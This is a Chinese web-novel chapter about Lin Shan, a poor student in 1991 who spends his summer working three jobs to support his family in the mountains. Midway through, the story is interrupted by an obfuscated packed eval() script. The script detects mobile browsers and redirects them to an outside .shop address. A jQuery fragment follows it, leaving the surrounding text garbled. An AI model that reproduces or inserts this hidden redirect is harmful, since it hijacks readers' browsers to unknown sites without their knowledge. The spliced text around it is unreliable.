端午短假匆匆落幕，山间风雨留在身后，省城的盛夏轰轰烈烈撞入眼帘。
一九九一年的夏天，热得直白又凶悍。没有现代空调的降温缓冲，整座城市被滚滚热浪裹挟，日头毒辣灼人，晨光破晓便滚烫落地，直至深夜余温不散。柏油路面被晒得发软，街边梧桐树叶蔫垂卷曲，往日清爽的林荫道，只剩闷热凝滞的风，吹在身上黏腻潮湿，让人喘不过气。
期末考接踵而至，校园里最后的松弛气息彻底消散。
所有学子都埋首书本，冲刺本学期最后的结业考核。图书馆、教室、走廊路灯下，随处可见埋头刷题的身影，笔尖簌簌作响，裹挟着盛夏的燥热，酝酿着一场关乎期末、关乎假期、关乎未来的收官。
寝室里的气氛日渐鲜活热闹。
室友们早早规划好了暑期去向。家境宽裕的，早早订好车票，准备返乡避暑、走亲访友；有心气活络的，约着同学结伴南下，想去沿海城市看看世面、碰碰机遇；还有人留校备考、参加校园讲座、跟着老师做简单调研。
人人前路松弛，各有归途，各有消遣。
唯有林山，早在归乡返程的路上，就定好了自己的盛夏前路——留校，打工，攒钱，养家。
端午那三日归乡所见的光景，像一枚沉甸甸的烙印，死死刻在了他心底，再也无法抹去。
卧床隐忍病痛的爷爷，日日佝偻劳作的母亲，清冷萧瑟的老屋，无人支撑的田地，深山里无医无药、硬扛苦熬的日子……一幕幕画面日夜盘旋在脑海，时时刻刻提醒着他的处境，提醒着他肩上沉甸甸的责任。
家里早已无力撑他，从今往后，他不仅要自己读书、自己立足、自己走出大山，还要替家兜底，替父母分担，替爷爷求医问药。
九十年代的农村，没钱便无路。
爷爷的风湿骨疾经年累月，寒湿入骨，早已不是简单热敷静养便能缓解的小毛病。想要抓药调理、想要去镇上卫生院检查、想要稍稍减轻病痛，样样都要花钱。
母亲常年超负荷劳作，身体早已透支，腰背劳损、手脚开裂、气血亏虚，只是常年隐忍不说。家里的春耕秋收、日常开销、零碎用度，处处都需要钱财支撑。
从前年少无知，只知家里清贫，却不知清贫背后，是家人拿命在硬撑。
如今他成年懂事，身在远方读书，唯一能做的，便是拼命赚钱、拼命攒钱，拼尽所有力气，为贫瘠飘摇的家，撑起一片安稳。
期末考最后一门结束的铃声落下，全校瞬间解禁。
积压一学期的压力轰然消散，校园瞬间被喧闹填满。收拾行李的哗啦声、结伴出游的笑语声、归乡离校的道别声，层层叠叠，热闹滚烫。短短几日，偌大校园人去楼空，大多学子奔赴家乡与盛夏的自由。
402寝室的室友尽数离校。
临走前，几人再三劝说，让他跟着一起返乡歇歇，或是结伴出去转转，别整日闷在学校苦熬。
“暑假两个多月，别太拼了，身子会熬垮的。”
“家里再难也不急这一时，少年人该歇歇就歇歇。”
林山只是温和摇头，笑着道谢。
他没得选，也不敢歇。
别人的暑假是休憩、是玩乐、是放松，他的暑假，是唯一能快速攒钱、填补家用、缓解困境的窗口期。学期中只能课余兼职，收入微薄；唯有漫长暑期，整日可劳作，是他一年之中，最能挣钱、最能攒钱的时节。
室友悉数走后，偌大的四人间寝室，彻底空荡寂静。
往日朝夕相伴的热闹消散殆尽，屋内只剩四张空空的床铺，安静的桌椅，还有窗外无休止的盛夏蝉鸣、滚滚热风。整栋宿舍楼日渐冷清，层层空空，零星留校的学生寥寥无几，往日鲜活热闹的校园，褪去所有喧嚣，只剩寂静与燥热。
属于林山的盛夏苦熬，正式拉开序幕。
他辞掉了学期中教学楼清扫的轻松岗位，那种时薪低廉、收入微薄的兼职，已经满足不了他如今迫切的需求。他需要更高的时薪、更长的工时、更稳定的活计，哪怕更累、更苦、更熬人，他也心甘情愿。
靠着之前兼职攒下的人脉，还有高年级学长介绍，他一口气接了三份暑期零工。
第一份，是校园后勤的暑期修缮杂活。
学校趁着假期翻新教学楼墙面、修补路面、检修门窗桌椅，招临时勤杂工。没有技术门槛，纯靠力气吃苦，搬建材、运泥沙、清扫建筑垃圾、搬运老旧桌椅，日晒雨淋，体力消耗极大，但工时稳定，日结工钱，比校内助学岗高出一倍不止。
第二份，是学校后门饭馆的全天长工。
老板知晓他踏实肯干、沉默耐劳，学期末特意留他暑期全职在岗。每日三餐饭点最忙时后厨打杂、洗碗、择菜、收拾餐桌，闲时清扫店面、擦洗厨具、整理库房，从清晨营业忙到深夜打烊，全天无休，管一日三餐。
包吃，这一点，替他省下了极大的生活开销。
对极致节俭的他而言，能管饭，就意味着所有工钱，一分一毫都可以尽数攒下，尽数寄回家中，分毫不用挥霍。
第三份，是傍晚后的报刊亭守店兼职。
城郊老街的私人报刊亭，老板晚间有事，招人傍晚六点守到夜里十点，售卖报纸、杂志、零食、冰棍，活计轻松，耗时不长，薪资虽薄，胜在安稳不累，刚好填补傍晚的空余时间。
三份活计，从清晨五点，排到夜里十点。
日日连轴转，无缝衔接，没有周末，没有休息，没有片刻松懈。
盛夏的日头毒辣至极，清晨六点的太阳便滚烫灼人。校园修缮杂活全在露天室外，头顶烈日，脚踩滚烫地面，漫天灰尘、泥沙飞扬。搬运建材时，沉重的木板、钢管、砂石压在肩头，磨得皮肉发红发烫，汗水顺着额角、脖颈、脊背层层滚落，瞬间浸透衣衫，黏在皮肤上，又闷又痛。
短短一上午，浑身便沾满灰尘泥土，满头满脸都是汗，手掌磨出红痕，臂膀酸胀发麻，腰背僵硬疼痛。
同场干活的临时工，大多是社会闲散壮年劳力，累了便歇脚抽烟、闲谈吹牛、喝水乘凉，时不时偷懒懈怠。唯独林山，年纪最小、身子最单薄，却最踏实、最拼命、最不知停歇。
别人歇十分钟，他不停；别人偷闲躲日头，他照旧埋头苦干。
不是他不累，是他不敢累。
他每多搬一块建材、多干一小时活，就能多挣几分几毛，就能多给家里添一份安稳，就能多让爷爷少忍一点病痛、母亲少受一点辛劳。
力气累没了可以再养，钱攒少了，家里的难关便没人扛。
正午日头最毒、温度最高之时，所有人都躲进树荫、临时棚下避暑歇工，唯有他，匆匆啃两个馒头，喝两口凉水，短暂休整十几分钟，便赶去饭馆接班，开启午后的忙碌。
饭馆后厨闷热如蒸笼，煤炉整日明火燃烧，烟火热浪滚滚蒸腾，没有风扇降温，空气燥热凝滞，让人喘不过气。灶台烟火、油烟热气混着盛夏高温，层层包裹人身，短短片刻便大汗淋漓。
他整日泡在水里洗碗择菜，凉水被日头晒得温热，却依旧泡得双手裂纹增生、皮肉发皱。重复性的弯腰、抬手、收拾，日复一日，腰酸背痛早已成常态。
饭馆食客络绎不绝，人声喧闹，桌椅流转，他始终低头忙碌，沉默做事，不问不看，不言不语。
老板看他小小年纪如此能吃苦、肯实干，心里也暗自佩服，偶尔会悄悄多给他留一份荤菜、一碗肉汤，叮嘱他多吃点、补身子。
林山次次道谢，却从来舍不得独享。能吃饱便足矣，他不敢挑剔，不敢奢求，不敢浪费半分吃食。
晚饭过后，夜色微凉，他又马不停蹄赶去老街报刊亭守店。
褪去白日重体力劳作的辛苦，这份活计算是盛夏里难得的松弛。晚风穿过老街，吹散白日燥热，街巷灯火次第亮起，人间烟火温柔绵长。他坐在报刊亭边，无人之时便拿出书本，借着街边路灯的微光，默默看书刷题，不浪费一分一秒光阴。
白日谋生，夜里谋学。
这是他给自己定下的铁律。
哪怕整日累到筋骨酸痛、眼皮沉重，哪怕浑身疲惫、浑身酸胀，夜里也必定挤出时间复盘课业、预习新知、巩固专业。他永远记得自己的来路，永远记得读书是他唯一的出路，是他翻盘命运、撑起家庭的唯一底气。
白日苦身，夜里苦心，日日往复，无一日停歇。
整个盛夏，他活成了一台不知疲倦、不知懈怠、不知劳累的机器。
留校的寥寥学生，偶尔在校园遇见他，皆是一副风尘仆仆、满身汗水的模样。别人暑期白净松弛、悠闲自在，他晒得黝黑结实、眉眼沉静，满身都是风雨劳作的痕迹。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703131|208252||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
无人知晓他日复一日熬得有多苦，无人知晓他肩头压着多重的担子，无人知晓他每一分血汗钱，都背负着深山家里的风雨飘摇。
酷暑最盛的七月，省城接连几日高温爆表，闷热难耐。
一场午后雷阵雨骤然落下，狂风席卷街巷，暴雨倾盆而下，打散连日燥热。雨点噼里啪啦砸落地面，冲刷校园尘土、街道热浪，风声呼啸，雨声轰鸣，天地间白茫茫一片。
暴雨过后，空气骤然清凉，晚风通透舒爽。
那日傍晚，报刊亭人流稀少，老街安静闲适。林山趁着空闲，去镇上邮局汇钱。
他将这大半个暑假拼死熬来的工钱，除去极少必备开销，尽数兑换成整齐的纸币，一分不留，悉数汇回家里。
汇款单上附了简短的一行字：钱收好，给爷爷抓药看病，家里别太省，保重身体。
握着薄薄的汇款回执单，站在微凉的晚风里，看着街头灯火初上，人来人往，林山心底一片安稳踏实。
累是真的累，苦是真的苦。
每日凌晨疲惫入睡，浑身筋骨酸痛，手脚伤痕累累，白日烈日灼身，夜里疲惫难消，日复一日的重复劳作，枯燥、磨人、熬心。
可心里的空落、愧疚、不安，终于被一点点填满、抚平。
他终于可以靠自己的力气，替家里遮一点风、挡一点雨；终于可以不用再全盘依靠年迈祖辈、瘦弱母亲的隐忍苦熬；终于可以凭一己之力，扛起属于自己的责任。
年少时，家人倾尽所有，托他远行、供他读书、护他周全。
长大后，他拼尽所有血汗，护家人安稳、解家人困顿、替家人负重。
天道轮回，从来公平。
盛夏的日子一天天苦熬而过，日历一页页翻过，烈日依旧毒辣，晚风依旧温热。
留校的日子孤独至极。
偌大校园，无同乡、无室友、无熟人，无人闲谈、无人陪伴、无人分忧。喜怒哀乐无人分享，疲惫心酸无人倾诉，所有的苦累、所有的压力、所有的牵挂，尽数压在心底，独自消化、独自承受、独自自愈。
偶尔夜里收工归来，走在空荡寂静的校园路上，晚风拂面，蝉鸣渐歇，整片天地只剩他孤身一人。远处城市灯火璀璨，车流不息，热闹繁华依旧，却从来不属于他。
他依旧是那个站在城市隅角，默默漂泊、默默扎根、默默苦熬的山野少年。
可他早已不再自卑、不再拧巴、不再不甘。
从前的孤独，是局促、是茫然、是落差。
如今的孤独，是沉淀、是蓄力、是成长。
他不怕苦、不怕累、不怕清贫、不怕孤单。
他只怕自己不够努力、不够强大、不够争气，怕自己跑得太慢，追不上家人老去的速度，怕自己撑不起摇摇欲坠的家。
八月末，盛夏渐近尾声，热浪渐渐褪去，秋风悄悄酝酿。
两个多月的暑期苦熬，日日连轴劳作，日日血汗浸染，硬生生磨出了他坚硬的筋骨、沉稳的心性。皮肤晒得黝黑，臂膀变得结实，眉眼愈发沉静坚定，褪去了所有残留的少年稚气，沉淀出远超同龄人的成熟隐忍。
开学前夕，家里寄来一封简短的回信。
依旧是村里先生代写的字迹，字字朴素温热，满是欣慰与心疼。信里说，钱收到了，爷爷抓了几副中药调理，风湿骨痛缓和了许多，夜里终于能安稳入眠；母亲不用再事事硬扛，家里添置了零碎农具，秋收的底气足了；田地长势安稳，家里一切渐好，让他在外好好读书，切莫太过拼命、熬坏身子。
寥寥数语，抚平了他整个盛夏所有的辛苦煎熬。
所有的汗没有白流，所有的苦没有白吃，所有的隐忍坚持，皆有回响。
站在初秋微凉的风里，林山望着天边澄澈的晚霞，眼底清澈坚定，心底无比坦荡。
这个盛夏，是他人生最苦、最累、最孤独的一个夏天。
也是他彻底蜕变、彻底担责、彻底长大的一个夏天。
熬过盛夏千般苦，终得人间一寸安。
往后的路，依旧漫长，依旧清贫，依旧需要咬牙跋涉。
但他已然身披铠甲，心有底气，肩有担当，无惧风雨，不畏前路。
山野少年，历经盛夏苦熬，终在繁华省城，默默扎根，野蛮生长，静待风起，静待燎原。